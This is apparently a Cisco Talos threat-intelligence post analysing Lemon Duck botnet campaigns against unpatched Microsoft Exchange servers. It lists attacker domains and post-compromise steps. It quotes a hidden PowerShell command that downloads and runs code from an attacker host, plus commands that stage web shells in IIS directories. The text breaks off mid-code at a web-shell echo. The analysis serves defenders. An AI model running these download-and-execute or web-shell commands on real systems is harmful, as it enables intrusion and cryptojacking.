# Lemon Duck spreads its wings: Actors target Microsoft Exchange servers, incorporate new TTPs **[blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html](https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html)** Lemon Duck continues to refine and improve upon their tactics, techniques and procedures as they attempt to maximize the effectiveness of their campaigns. Lemon Duck remains relevant as the operators begin to target Microsoft Exchange servers, exploiting high-profile security vulnerabilities to drop web shells and carry out malicious activities. Lemon Duck continues to incorporate new tools, such as Cobalt Strike, into their malware toolkit. Additional obfuscation techniques are now being used to make the infrastructure associated with these campaigns more difficult to identify and analyze. The use of fake domains on East Asian top-level domains (TLDs) masks connections to the actual command and control (C2) infrastructure used in these campaigns. ## Executive summary Since April 2021, Cisco Talos has observed updated infrastructure and new components [associated with the Lemon Duck cryptocurrency mining botnet that target unpatched](https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html) ----- Microsoft Exchange Servers and attempt to download and execute payloads for Cobalt Strike DNS beacons. This activity reflects updated tactics, techniques, and procedures (TTPs) associated with this threat actor. After several zero-day Microsoft Exchange Server [vulnerabilities were made public on March 2, Cisco Talos and several other security](https://blog.talosintelligence.com/2021/03/threat-advisory-hafnium-and-microsoft.html) [researchers began observing various threat actors, including Lemon Duck, leveraging these](https://blog.talosintelligence.com/2021/03/hafnium-update.html) vulnerabilities for initial exploitation before security patches were made available. Microsoft [released a report on March 25 highlighting Lemon Duck's targeting of Exchange Servers to](https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/) install cryptocurrency-mining malware and a malware loader that was used to deliver secondary malware payloads, such as information stealers. We also discovered that Lemon Duck actors have been generating fake domains on East Asian top-level domains (TLDs) to mask connections to their legitimate C2 domain since at least February 2020, highlighting another attempt to make their operations more effective. Below, we'll outline changes to the TTPs used by Lemon Duck across recent campaigns as they relate to various stages of these attacks. ## Recent campaigns and victimology Cisco Talos researchers initially identified a notable increase in the volume of DNS queries being made for four newly observed Lemon Duck domains: t[.]hwqloan[.]com d[.]hwqloan[.]com t[.]ouler[.]cc ps2[.]jusanrihua[.]com This spike, which occured on April 9, 2021, coincided with infection activity collected within our telemetry systems associated with these same domains. We observed the largest spike in queries for ps2[.]jusanrihua[.]com, which peaked on April 13, then decreased before spiking again on April 26. _Spike in DNS queries to ps2[.]jusanrihua[.]com on April 9._ Looking more closely at the geographic distribution of the domain resolution requests related ----- to this activity, we observed that the majority of them originated from North America, followed by Europe, South East Asia, with a few others from South America and Africa. This is in contrast to the query distribution observed in October 2020, as described in our previous [publication where the majority of the queries originated from Asia.](https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html) _Geographic distribution of queries for t[.]hwqloan[.]com as seen by Cisco Umbrella._ Notably, for one of these domains, d[.]hwqloan[.]com, over sixty percent of the DNS queries originated from India. We determined this activity was associated with infected systems attempting to communicate with Lemon Duck infrastructure. Since the communication with these domains typically occurs during the Lemon Duck infection process, this activity may be indicative of the geographic distribution of the victims of these campaigns. [In Talos' original coverage of Lemon Duck, we described multiple overlaps between Lemon](https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html) Duck and another cryptocurrency-mining malware, Beapy (aka Pcastle), which had previously been observed targeting East Asia. At the time, Lemon Duck infections reported [by other security researchers were beingobserved in much higher concentrations in China.](https://success.trendmicro.com/solution/000261916) While Lemon Duck's currently observed victimology and methods of propagation are largely indiscriminate, the seemingly exclusive use of country code TLDs (ccTLDs) for China, Japan and South Korea in the fake domains written to the Windows hosts file is notable, as described in the section "Command and control (C2)" below. Considering these ccTLDs are most commonly used for websites in their respective countries and languages, it is also interesting that they were used, rather than more generic and globally used TLDs such as ".com" or ".net." This may allow the threat actor to more effectively hide C2 communications among other web traffic present in victim environments. Due to the prevalence of domains using these ccTLDs, web traffic to the domains using the ccTLDs may be more easily attributed as noise to victims within these countries. This may ----- add another potential overlap with Beapy, as each have exhibited TTPs suggesting possible targeting of victims in East Asia. However, without additional evidence this particular connection remains low confidence, although it is interesting within the context of the other overlaps between the two families. ## Notable changes to Lemon Duck TTPs Talos has observed several recent changes to the tactics, techniques and procedures used by Lemon Duck. This demonstrates that this threat actor is continuously evolving their approach to maximize their ability to achieve their mission objectives. During our analysis of recent Lemon Duck campaigns, we observed that the threat actor is now leveraging new infrastructure, incorporating additional tools and functionality into their attack methodology and workflow, and putting more emphasis on obfuscating various components used throughout the infection process in an attempt to more effectively evade detection and analysis. Additionally, the threat actor is targeting high-profile software vulnerabilities that may allow them to more effectively establish an initial foothold within victim environments. The following sections will describe these changes throughout each phase of the attack lifecycle in more detail. ### Delivery and initial exploitation Lemon Duck features self-propagating capabilities and a modular framework that allow it to spread across network connections to infect additional systems that become part of the Lemon Duck botnet and generate revenue for threat actors by mining cryptocurrency. This automated exploitation of software vulnerabilities is one mechanism used by Lemon Duck to establish initial access and propagate across a network environment. Lemon Duck operators [have previously employed several exploits for vulnerabilities, such as SMBGhost and](https://us-cert.cisa.gov/ncas/current-activity/2020/06/05/unpatched-microsoft-systems-vulnerable-cve-2020-0796) Eternal Blue, and appear to be implementing new exploit code and targeting additional software vulnerabilities over time to ensure that they can continue to spread malware to new hosts and maintain the size of the botnet and revenue stream being generated by compromised hosts. ### Lemon Duck targets Microsoft Exchange [Talos assesses with medium confidence these are likely newer Lemon Duck components](https://blog.talosintelligence.com/2017/08/on-conveying-doubt.html) associated with the targeting of Microsoft Exchange Server vulnerabilities. The vulnerabilities being targeted, which Microsoft has since issued patches for, are [CVE-2021-26855,](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855) CVE2021-26857, [CVE-2021-26858 and](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858) [CVE-2021-27065. These vulnerabilities were reported on](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065) March 2, 2021 and affect Microsoft Exchange Server versions 2013, 2016 and 2019. They [have been leveraged by multiple threat actors targeting Microsoft Exchange servers around](https://blog.talosintelligence.com/2021/03/hafnium-update.html) the world ----- While we could not determine the exact exploitation vector used in this campaign, the actors appear to be targeting unpatched Exchange Servers, dropping web shells and employing [several techniques that are consistent with previousreporting on post-compromise activity](https://bogner.sh/2021/05/teslarvng2-meets-hafnium-exchange-exploit/) leveraging these vulnerabilities, as discussed in the section "Post-Compromise Activities on Exchange Servers" below. ### Typical post-compromise activities Once a new system has been compromised by Lemon Duck, the subsequent infection process features several notable characteristics. In many cases, compromised systems attempt to retrieve additional components and modules from attacker-controlled web servers. We observed typical Lemon Duck download attempts in telemetry data for files such as "ipc.jsp" and "aa.jsp" on endpoints. This activity was associated with previously reported Lemon Duck domains, such as t[.]netcatkit[.]com and t[.]bb3u9[.]com. These files contain PowerShell instructions that are executed by the system and are responsible for reporting successful infections and collecting system information from the victim machine, such as computer name, GUID and MAC address, which is then transmitted back to the attacker. ``` c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe & powershell -w hidden IEX(New-Object Net.WebClient).DownLoadString('http://t.bb3u9.com/7p.php? 1.0*ipc*SYSTEM**+[Environment]::OSVersion.version.Major);bpu ('http://t.bb3u9.com/ipc.jsp?1.0') ``` After the initial beaconing and system information gathering, a base64-encoded Portable Executable (PE) file (6be5847c5b80be8858e1ff0ece401851886428b1f22444212250133d49b5ee30) was retrieved from the following URL: hxxp[:]//t[.]hwqloan[.]com/t.txt Once decoded, the PE executed multiple commands using the Windows Management Instrumentation (WMI) command "wmic.exe" to uninstall AV/security products, such as ESET and Kaspersky. It also stopped and removed various security-related services, such as the Windows Update feature, wuauserv, and Windows Defender. Some examples of this removal activity can be seen in the screenshot below. _WMIC removing AV products._ ----- While analyzing the PE, we observed the execution of a PowerShell script that downloaded and executed an additional malware payload, "syspstem.dat", from hxxp[:]//d[.]hwqloan[.]com, a newly observed subdomain for hwqloan[.]com. This payload was a Python executable file and likely related to the Python-based module described in our [previous publication. It includes the "killer" module which contains a hardcoded list of service](https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html) names that Lemon Duck uses to disable competing cryptocurrency miners. Once downloaded, it is saved to the AppData\Local\Temp\ directory, where a subsequent PowerShell script checks to determine if the MD5 hash value of the file matches a hardcoded value. Assuming the check passes, it then creates a scheduled task called "syspstem" and configures it to execute it every 50 minutes, as seen below. _"syspstem" scheduled task creation._ The PE file then makes an HTTP GET request to download a remote resource from hxxp[:]//ps2[.]jusanrihua[.]com/ps, which, at the time of analysis, appeared to be down and/or unavailable resulting in download failure. Consistent with previous Lemon Duck campaigns, we observed the use of native Windows [command-line utilities and living-off-the-land binaries or "LoLBins" to carry out various tasks](https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html) throughout the infection process. Several scheduled tasks were also created for various purposes including achieving persistence across system reboots. In more recent campaigns, we have observed several notable changes to the infection process. The threat actor is now leveraging CertUtil to download and execute two new malicious PowerShell scripts, "dns" and "shell.txt" which are retrieved from an attackercontrolled web server (hxxp[:]//t[.]hwqloan[.]com), and saved as "dn.ps1" and "c.ps1," respectively. The PowerShell script "dn.ps1" attempts to uninstall multiple AV products, similar to what was previously described and configures a scheduled task that will execute a subsequent PowerShell script. It also establishes persistence routines that attempt to download and execute content retrieved from each of the following URLs: hxxp[:]//t[.]hwqloan[.]com/dns hxxp[:]//t[.]ouler[.]cc/dns ----- hxxp[:]//ps2[.]jusanrihua[.]com/dns Most notably, the URL hxxp[:]//ps2[.]jusanrihua[.]com/dns is used to retrieve a Cobalt Strike payload. This is a new evolution in Lemon Duck's toolset. For details related to the Cobalt Strike payload and how it is being leveraged in Lemon Duck campaigns, refer to the section "Command and Control (C2)." The PowerShell script "c.ps1" contains several CertUtil commands that are used to download additional payloads, such as a variant of the XMRig cryptocurrency miner "m6.exe," which Lemon Duck's used in the past. This activity is also consistent with activity [that was previously reported here.](https://bogner.sh/2021/05/teslarvng2-meets-hafnium-exchange-exploit/) Based on analysis of system activities associated with these campaigns, additional postcompromise discovery and targeting activities may be conducted as described in the section "Exchange Server Reconnaissance and Discovery." Following execution of the cryptocurrency mining payload, the PowerShell script is responsible for cleaning up various artifacts and removing indicators of compromise, such as the aforementioned "dn.ps1" and "c.ps1" from the infected system. The "netsh.exe" Windows command is also used to disable Windows Firewall settings, enable port forwarding, and redirect traffic to 1[.]1[.]1[.]1[:]53 from port 65529/TCP. As [described in previous Lemon Duck reporting, the malware uses port 65529 as an indicator to](https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/) identify if systems have already been compromised, and thus avoid reusing the exploitation modules on them if it is not necessary. ### Post-compromise activities targeting Exchange servers While analyzing telemetry related to ongoing Lemon Duck campaigns, we identified malicious activity being conducted on endpoints whose host names indicated they may be mail servers running Microsoft Exchange. This elevated our level of confidence that they may have been compromised by exploitation attempts targeting the previously described Microsoft Exchange vulnerabilities, with variants of known web shells being uploaded following successful system compromise. The following section describes malicious activity that was detected on these systems that may indicate that the adversaries are now showing specific interest in compromising Microsoft Exchange servers and leveraging them for nefarious purposes. **Exchange Server directory creation** While analyzing the malicious activity detected on compromised systems suspected to be ----- Exchange servers, we identified the execution of interesting system commands using the Windows Control Manager (sc.exe). This native Windows executable was used to set descriptions for services, configure services, and start services on compromised systems. An example of this can be seen below: _"sc.exe" used to configure, start services on compromised systems._ Interestingly, the DisplayName used in this case contained the value "Microsofts" and appeared to be a reference to the "Windows Defender Antivirus Network Inspection Service," [which according to this description of the service (WdNisSvc), "helps guard against intrusion](http://revertservice.com/10/wdnissvc/) attempts targeting known and newly discovered vulnerabilities in network protocols." We also observed the creation of various directories within the IIS web directory on infected systems. An example of this can be seen below. ``` md C:\inetpub\wwwroot\aspnet_client\js\demo ``` [The creation and use of this directory structure is consistent with previous reporting on](https://bogner.sh/2021/05/teslarvng2-meets-hafnium-exchange-exploit/) various TTPs related to successful attacks against Exchange servers leveraging the vulnerabilities described earlier in the section "Lemon Duck targets Microsoft Exchange." The adversary also copied several files into it, including two .ASPX files named "wanlins.aspx" and "wanlin.aspx." These files are likely web shells and were copied from C:\inetpub\wwwroot\aspnet_client\, a known directory where a majority of the web shells [were initially observed following Microsoft's release of details related to Hafnium activity. An](https://news.sophos.com/en-us/2021/03/05/hafnium-advice-about-the-new-nation-state-attack/) example of this can be seen below. ``` copy C:\inetpub\wwwroot\aspnet_client\wanlin.aspx C:\inetpub\wwwroot\aspnet_client\js\demo\wanlins.aspx ``` This newly created directory appears to be the actor's working environment (\js\demo), and was likely used by the actor to stage files early in the post-compromise phase of the attack. [In late March 2021, it was reported here that a file with the name "wanlin.aspx" was](https://blog.netlab.360.com/microsoft-exchange-vulnerability-cve-2021-26855-scan-analysis-3/) observed as part of a large number of web shell probing requests that were believed to be part of scanning activity conducted by security vendors and research organizations. These [same file names were also identified by security researchers as being associated with](https://twitter.com/GossiTheDog/status/1379769243298844673) [various web shells that were identified nearly a month after Microsoft's initial publication](https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/) related to threat actors' exploitation of these Exchange vulnerabilities by threat actors. The Windows "attrib" command was also used to set the Archive file attribute, System file attribute, Read-only attribute, and the Hidden file attribute on the previously created files and directories, likely as a way to obfuscate the actor's activities on the system. ----- _Modifying file attributes with the "attrib" command._ Next, we observed the echo command being used to write code associated with a web shell into the previously created ASPX files. In this case, several characteristics matched portions [of code associated with known China Chopper variants identified days after the Exchange](https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html) Server vulnerabilities were publicized. An example of this can be seen below. ``` echo '